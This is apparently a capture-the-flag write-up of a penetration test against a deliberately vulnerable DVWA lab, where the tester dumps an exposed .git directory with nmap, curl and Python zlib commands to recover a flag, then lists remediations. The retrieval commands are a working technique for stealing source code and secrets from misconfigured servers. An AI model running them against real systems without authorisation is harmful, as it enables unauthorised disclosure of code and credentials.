

# CTF PENETRATION TEST WRITEUP REPORT

Target: <http://100.113.75.28:8081/>

Assessment Date: March 06, 2026

## 1. Executive Summary

A penetration test was conducted against a custom-deployed instance of the **Damn Vulnerable Web Application (DVWA)** hosted at <http://100.113.75.28:8081/>. The engagement followed a black-box methodology starting from the login page. The target was fully compromised within the reconnaissance phase, with no authentication required. The CTF flag was recovered by exploiting an **exposed .git directory** on the web server root — a critical misconfiguration that disclosed the full project source history, including a committed plaintext flag file.

| Severity | Finding                                                        | Status      |
|----------|----------------------------------------------------------------|-------------|
| CRITICAL | Exposed .git repository (full source disclosure)               | Exploited ✓ |
| HIGH     | robots.txt discloses sensitive paths (/admin, /backup, /debug) | Identified  |
| MEDIUM   | Missing HttpOnly flag on PHPSESSID cookie                      | Identified  |
| INFO     | DVWA running on Apache 2.4.65 (Debian)                         | Identified  |

## 2. Scope & Methodology

| Field       | Detail                                                              |
|-------------|---------------------------------------------------------------------|
| Target URL  | <a href="http://100.113.75.28:8081/">http://100.113.75.28:8081/</a> |
| Target Type | Web Application (DVWA — PHP/Apache)                                 |
| Test Type   | Black-box CTF Penetration Test                                      |
| Entry Point | Login page (login.php)                                              |
| Tools Used  | Nmap, curl, Python3 (zlib git object decoder)                       |
| Date        | March 06, 2026                                                      |

The assessment followed standard penetration testing phases:

- **Phase 1 — Reconnaissance:** Port scanning, service fingerprinting, HTTP header analysis, and robots.txt enumeration.
- **Phase 2 — Attack Surface Mapping:** Discovery of exposed .git directory, branch enumeration, commit history analysis.

- **Phase 3 — Exploitation:** Direct HTTP retrieval of git object files, zlib decompression of tree and blob objects, flag extraction.

### 3. Reconnaissance

#### PHASE 1 — Service Fingerprinting (Nmap)

**Hypothesis:** The target is a web application on port 8081. An Nmap version/script scan will reveal the server technology, potential misconfigurations, and low-hanging-fruit entry points.

#### Command executed:

```
nmap -sV -sC -p 8081 100.113.75.28
```

#### Key findings from Nmap output:

- Apache 2.4.65 (Debian) — PHP application (DVWA)
- robots.txt exposes three disallowed paths: */admin/*, */backup/*, */debug/*
- **CRITICAL:** *.git/* directory publicly accessible — full git repository exposed
- Last commit message visible: *"added new rules"*
- Remote origin: <https://github.com/Juliavister/custom-dvwa.git>
- PHPSESSID cookie has no HttpOnly flag

#### PHASE 1 — robots.txt & Directory Probing

Probing the three paths revealed by robots.txt (*/admin/*, */backup/*, */debug/*) all returned HTTP 404. However, the exposed *.git* directory became the primary attack vector.

### 4. Attack Surface Mapping — Git Enumeration

#### PHASE 2 — .git Repository Enumeration

**Hypothesis:** The exposed *.git* directory allows unauthenticated retrieval of git object files. By reading *.git/config* and *.git/logs/HEAD* we can enumerate all branches, commits, and identify any sensitive data committed to the repo.

#### Commands executed:

```
curl http://100.113.75.28:8081/.git/config curl http://100.113.75.28:8081/.git/logs/HEAD
```

#### Critical branches discovered:

- **f-placement** — commit message: *"dockerfile changes for ctf task"* (flag placement!)
- *sqli-custom* — custom SQL injection module
- *fi-custom* — custom file inclusion module
- *tweakCommand* — command injection tweaks
- *xssR-custom* — reflected XSS module

The branch **f-placement** immediately stood out. Its HEAD commit hash was retrieved from `.git/refs/heads/f-placement`:

```
curl http://100.113.75.28:8081/.git/refs/heads/f-placement >>
a64460a82a7ea7a3e70bc286a6e2ffa7c96e814b
```

5. Exploitation — Git Object Extraction

PHASE 3 — Commit → Tree → Blob Object Chain

**Hypothesis:** Git stores all data as zlib-compressed objects in `.git/objects/XX/YYYYYY...`. By following the chain: commit object → tree object → blob object, we can reconstruct any file from any commit — including `flag.txt`.

Step 1 — Decompress the commit object:

```
curl http://100.113.75.28:8081/.git/objects/a6/4460a82a7ea7a3e70bc286a6e2ffa7c96e814b -o
commit_obj python3 -c "import zlib;
print(zlib.decompress(open('commit_obj','rb').read()))" Output: commit 252\x00tree
1819482cc4de07b7371bfd38d6a39e276191de8d author Julia Vister dockerfile changes for ctf
task
```

Step 2 — Parse the tree object to list files:

```
curl http://100.113.75.28:8081/.git/objects/18/19482cc4de07b7371bfd38d6a39e276191de8d -o
tree_obj # Python script to parse binary tree entries... Filtered output (flag-relevant
entries): 100644 889c463b515a16400e51aa58fcd8b3669dd10bed .dockerignore 100644
d2a0ecfa89d9398a486904d720cb14e52a28e8b6 Dockerfile 100644
ea458b4f188ed802dbe0b9dad837b3fe1279b5a2 flag.txt <-- TARGET
```

Step 3 — Retrieve the flag.txt blob:

```
curl http://100.113.75.28:8081/.git/objects/ea/458b4f188ed802dbe0b9dad837b3fe1279b5a2 -o
flag_obj python3 -c " import zlib data = open('flag_obj','rb').read() dec =
zlib.decompress(data) print(dec[dec.index(b'\x00')+1:].decode()) "
```

FLAG{INITIAL\_FOOTHOLD\_ACHIEVED}

6. Vulnerability Analysis

CVE / Finding: Exposed .git Directory on Web Root

| Field         | Detail                                                         |
|---------------|----------------------------------------------------------------|
| Vulnerability | Publicly accessible <code>.git/</code> directory on web server |
| Severity      | CRITICAL                                                       |
| CVSS Score    | 7.5 (CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)           |
| Location      | <code>http://100.113.75.28:8081/.git/</code>                   |
| Impact        | Full source code disclosure, secret extraction, flag retrieval |

|                |                                                            |
|----------------|------------------------------------------------------------|
| Evidence       | flag.txt blob ea458b4f... retrieved without authentication |
| Authentication | None required                                              |

When a version-controlled project is deployed without removing (or blocking access to) the `.git` directory, an attacker can reconstruct the entire repository using only HTTP GET requests. Tools such as **git-dumper** and **GitTools** automate this process. In this case, manual object traversal was sufficient.

7. Attack Chain Summary

| # | Step                     | Tool / Method         | Outcome                         |
|---|--------------------------|-----------------------|---------------------------------|
| 1 | Port & service scan      | Nmap -sV -sC          | .git/ exposure discovered       |
| 2 | Read .git/config         | curl                  | 10 branches enumerated          |
| 3 | Read .git/logs/HEAD      | curl                  | f-placement branch identified   |
| 4 | Read branch HEAD ref     | curl                  | Commit hash a64460a8...         |
| 5 | Decompress commit object | curl + Python zlib    | Tree hash 1819482c...           |
| 6 | Parse tree object        | Python binary parsing | flag.txt blob hash ea458b4f...  |
| 7 | Decompress blob object   | curl + Python zlib    | FLAG{INITIAL_FOOTHOLD_ACHIEVED} |

8. Remediation Recommendations

- 1. **[CRITICAL] Block .git/ access in Apache:** Add the following to the Apache config or .htaccess:  
`<DirectoryMatch \"\\.git\\\"> Require all denied </DirectoryMatch>`
- 2. **[CRITICAL] Remove .git/ from deployment:** Never deploy version control directories to production. Use CI/CD pipelines that export only the built artefacts, not the full repository.
- 3. **[HIGH] Audit all repository history** for committed secrets, credentials, API keys, or flags. Use tools like trufflehog or git-secrets to detect leaks.
- 4. **[HIGH] Remove robots.txt disclosure:** The file disclosed internal paths (/admin, /backup, /debug). robots.txt is public — never use it as a security control or to list sensitive paths.
- 5. **[MEDIUM] Set HttpOnly flag on PHPSESSID** to prevent JavaScript-based session token theft (XSS protection layer).
- 6. **[INFO] Keep Apache updated** and apply OS-level security patches regularly.

9. Conclusion

The CTF flag was successfully retrieved via a fully unauthenticated attack path. The root cause was a single critical misconfiguration — the **.git directory being publicly accessible** over HTTP. This allowed direct retrieval and decompression of git object files, exposing committed source code and the plaintext

flag **FLAG{INITIAL\_FOOTHOLD\_ACHIEVED}**.

No authentication bypass, SQL injection, or remote code execution was necessary. This highlights that even non-executable misconfigurations can lead to complete compromise, and that proper deployment hygiene is as important as application security hardening.